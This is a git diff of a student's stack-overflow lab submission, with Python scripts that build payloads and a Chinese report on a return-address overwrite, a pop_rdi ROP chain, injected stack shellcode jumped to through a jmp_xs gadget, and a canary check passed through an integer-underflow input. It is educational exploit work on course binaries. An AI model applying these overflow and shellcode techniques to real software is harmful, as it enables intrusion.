diff --git a/README.md b/README.md index a15c9e0..b65c209 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,4 @@ +[![Review Assignment Due Date](https://classroom.github.com/assets/deadline-readme-button-22041afd0340ce965d47ae6ef1cefeee28c7c493a6346c4f15d667ab976d596c.svg)](https://classroom.github.com/a/ak7ck2gU) # 栈溢出攻击实验 > "Exploiting is an art, but understanding the principles behind it is science." —— Anon diff --git a/ans1.txt b/ans1.txt new file mode 100644 index 0000000..f041205 Binary files /dev/null and b/ans1.txt differ diff --git a/ans2.txt b/ans2.txt new file mode 100644 index 0000000..adc9cd1 Binary files /dev/null and b/ans2.txt differ diff --git a/ans3.txt b/ans3.txt new file mode 100644 index 0000000..bf3a0e4 Binary files /dev/null and b/ans3.txt differ diff --git a/dummy.txt b/dummy.txt new file mode 100644 index 0000000..e69de29 diff --git a/makePayload1.py b/makePayload1.py new file mode 100644 index 0000000..c7f36b1 --- /dev/null +++ b/makePayload1.py @@ -0,0 +1,8 @@ +# -*- coding: gbk -*- +padding = b"A" * 16 +func1_address = b"\x16\x12\x40\x00\x00\x00\x00\x00" # С˵ַ +payload = padding+ func1_address +# Write the payload to a file +with open("ans1.txt", "wb") as f: + f.write(payload) +print("Payload written to ans1.txt") \ No newline at end of file diff --git a/makePayload2.py b/makePayload2.py new file mode 100644 index 0000000..253aa10 --- /dev/null +++ b/makePayload2.py @@ -0,0 +1,10 @@ +# -*- coding: gbk -*- +padding = b"A" * 16 +pop_rdi=b"\xC7\x12\x40\x00\x00\x00\x00\x00" +value=b"\xF8\x03\x00\x00\x00\x00\x00\x00" +func2_address = b"\x16\x12\x40\x00\x00\x00\x00\x00" # С˵ַ +payload = padding+ pop_rdi+ value+ func2_address +# Write the payload to a file +with open("ans2.txt", "wb") as f: + f.write(payload) +print("Payload written to ans2.txt") \ No newline at end of file diff --git a/makePayload3.py b/makePayload3.py new file mode 100644 index 0000000..ffd3bd8 --- /dev/null +++ b/makePayload3.py @@ -0,0 +1,16 @@ +# -*- coding: gbk -*- +# ˼·shellcode[rbp-0x20]ret jmp_xs(0x401334)shellcodeִ +# shellcode: mov edi,0x72 ; mov rax,0x401216 ; jmp rax +shellcode= ( + b"\xBF\x72\x00\x00\x00" # mov edi, 0x72 + b"\x48\xB8\x16\x12\x40\x00\x00\x00\x00\x00" # movabs rax, 0x401216 + b"\xFF\xE0") # jmp rax +padding= b"\x90" *15 # NOP 䵽 0x20 ֽ +fake_rbp = b"\x00\x00\x00\x00\x00\x00\x00\x00" # 8ֽ +ret_to_jmp_xs = b"\x34\x13\x40\x00\x00\x00\x00\x00" # ʵΪ jmp_xs@0x401334 + +payload = shellcode + padding + fake_rbp + ret_to_jmp_xs +# Write the payload to a file +with open("ans3.txt", "wb") as f: + f.write(payload) +print("Payload written to ans3.txt") diff --git a/problem1.i64 b/problem1.i64 new file mode 100644 index 0000000..a8e321f Binary files /dev/null and b/problem1.i64 differ diff --git a/problem2.i64 b/problem2.i64 new file mode 100644 index 0000000..8ee87bb Binary files /dev/null and b/problem2.i64 differ diff --git a/problem3 b/problem3 old mode 100644 new mode 100755 diff --git a/problem3.i64 b/problem3.i64 new file mode 100644 index 0000000..b3c5b4e Binary files /dev/null and b/problem3.i64 differ diff --git a/reports/imgs/1.png b/reports/imgs/1.png new file mode 100644 index 0000000..2b82623 Binary files /dev/null and b/reports/imgs/1.png differ diff --git a/reports/imgs/2.png b/reports/imgs/2.png new file mode 100644 index 0000000..34323a6 Binary files /dev/null and b/reports/imgs/2.png differ diff --git a/reports/imgs/3.png b/reports/imgs/3.png new file mode 100644 index 0000000..1213d93 Binary files /dev/null and b/reports/imgs/3.png differ diff --git a/reports/imgs/4.png b/reports/imgs/4.png new file mode 100644 index 0000000..28f65e8 Binary files /dev/null and b/reports/imgs/4.png differ diff --git a/reports/report.md b/reports/report.md index 58757f4..d688e24 100644 --- a/reports/report.md +++ b/reports/report.md @@ -4,29 +4,73 @@ ### Problem 1: -- **分析**: -- **解决方案**:payload是什么,即你的python代码or其他能体现你payload信息的代码/图片 -- **结果**:附上图片 +- **分析**:通过objdump和IDA进行反汇编分析,func1就是打印那句话的函数,而main会自动执行func,因此我们需要通过栈溢出攻击来使func在返回时调用func1,这只需要把func的返回地址改成func1的起始地址即可。通过分析func的运行时栈,为了注入func1的起始地址,需要16字节的padding。 +- **解决方案**: +```python +# -*- coding: gbk -*- +padding = b"A" * 16 +func1_address = b"\x16\x12\x40\x00\x00\x00\x00\x00" +payload = padding+ func1_address +# Write the payload to a file +with open("ans1.txt", "wb") as f: + f.write(payload) +print("Payload written to ans1.txt") +``` +- **结果**:![problem1](./imgs/1.png "problem1结果") ### Problem 2: -- **分析**:... -- **解决方案**:payload是什么,即你的python代码or其他能体现你payload信息的代码/图片 -- **结果**:附上图片 +- **分析**:问题2和问题1的区别在于,能打印那句话的func要检查rdi的值为0x3f8。我们需要调用pop_rdi,利用它将rdi的值改为0x3f8,再调用func2。func的运行时栈和问题1一样,因此还是用16字节padding,然后修改返回地址调用pop_rdi,再写入要修改的值,最后写入func2起始地址用于调用。 +- **解决方案**: +```python +# -*- coding: gbk -*- +padding = b"A" * 16 +pop_rdi=b"\xC7\x12\x40\x00\x00\x00\x00\x00" +value=b"\xF8\x03\x00\x00\x00\x00\x00\x00" +func2_address = b"\x16\x12\x40\x00\x00\x00\x00\x00" +payload = padding+ pop_rdi+ value+ func2_address +# Write the payload to a file +with open("ans2.txt", "wb") as f: + f.write(payload) +print("Payload written to ans2.txt") +``` +- **结果**:[problem2](./imgs/2.png "problem2结果") ### Problem 3: -- **分析**:... -- **解决方案**:payload是什么,即你的python代码or其他能体现你payload信息的代码/图片 -- **结果**:附上图片 +- **分析**:问题2开了NX,问题3没开,注意到这个才能做出来。我读了半天,横竖看不出来怎么改rdi的值,最后发现可以改机器码,于是问了AI这个机器码怎么写,成功通关。接下来是思路分析: +整体思路和问题2比较像,只是不知道怎么改rdi。阅读了给的所有小函数以后发现jmp_x和jmp_xs可以强制跳转,于是我们把shellcode写在[rbp-0x20],接着进行填充,最后将返回地址改到jmp_xs,用于跳转执行shellcode。 +shellcode是:mov edi,0x72 ; mov rax,0x401216 ; jmp rax +- **解决方案**: +```python +# -*- coding: gbk -*- +# 利用思路:把shellcode放在[rbp-0x20],ret跳到 jmp_xs(0x401334),由其跳到shellcode执行 +# shellcode: mov edi,0x72 ; mov rax,0x401216 ; jmp rax +shellcode= ( + b"\xBF\x72\x00\x00\x00" # mov edi, 0x72 + b"\x48\xB8\x16\x12\x40\x00\x00\x00\x00\x00" # movabs rax, 0x401216 + b"\xFF\xE0") # jmp rax +padding= b"\x90" *15 # NOP 填充到 0x20 字节 +fake_rbp = b"\x00\x00\x00\x00\x00\x00\x00\x00" # 任意8字节 +ret_to_jmp_xs = b"\x34\x13\x40\x00\x00\x00\x00\x00" # 实为 jmp_xs@0x401334 + +payload = shellcode + padding + fake_rbp + ret_to_jmp_xs +# Write the payload to a file +with open("ans3.txt", "wb") as f: + f.write(payload) +print("Payload written to ans3.txt") +``` +- **结果**:[problem3](./imgs/3.png "problem3结果") ### Problem 4: -- **分析**:体现canary的保护机制是什么 -- **解决方案**:payload是什么,即你的python代码or其他能体现你payload信息的代码/图片 -- **结果**:附上图片 +- **分析**:Problem4不能用栈溢出,因为函数入口都会把线程本地的canary(fs:0x28读到栈上,返回前再比对,若被覆盖就调用__stack_chk_fail,所以传统覆盖返回地址会先被canary拦截。题的通过点不在字符串,而在最后输入的整数:func里把计数上限设为0xFFFFFFFE,对输入做无符号循环自减,随后判断“循环后值是否为1且原始输入是否为-1”。当输入 -1(32位即 0xFFFFFFFF)时,循环结束后恰好变成1,且备份仍为-1,条件同时成立,程序按正常控制流调用func1并退出,从而通关。 +- **解决方案**:先随便输两个字符串,然后输入-1. +- **结果**:[problem4](./imgs/4.png "problem4结果") ## 思考与总结 +本次实验的要诀是“读汇编—定目标—算偏移—选最短链”。先从反汇编锁定成功条件(如目标函数与参数),再根据函数尾部形态(`ret`/`leave; ret`)精确计算覆盖布局与偏移,所有地址按小端写入,必要时再考虑 16 字节对齐。ROP 的核心是把寄存器设置到期望状态而非堆砌 gadget;当写窗很小或缺少常见 gadget(如 `pop rdi ; ret`)时,应转而利用程序自带的控制流组件(如 `jmp_xs`)或在 NX 关闭时直接执行极短 shellcode,以最低复杂度达成目标。 - +安全机制与策略选择同样关键。Canary 在函数入口保存 `fs:0x28`、返回前校验,一旦被溢出破坏就触发 `__stack_chk_fail`,使传统覆写返回地址失效;因此 Problem4 的正解是走程序原有的判定分支(输入 `-1`),让程序“自己”调用目标函数。整体经验是:优先寻找最短、可解释、可复现的路径;当常规利用受限(写窗、NX、PIE/ASLR、gadget 匮乏)时,不要死磕,回到二进制已有逻辑与工具,换道超车。 ## 参考资料 - -列出在准备报告过程中参考的所有文献、网站或其他资源,确保引用格式正确。 +做bomblab时积攒的知识 +《CS:APP》 +与chatGPT对话 diff --git a/reports/report.pdf b/reports/report.pdf new file mode 100644 index 0000000..5e1246a Binary files /dev/null and b/reports/report.pdf differ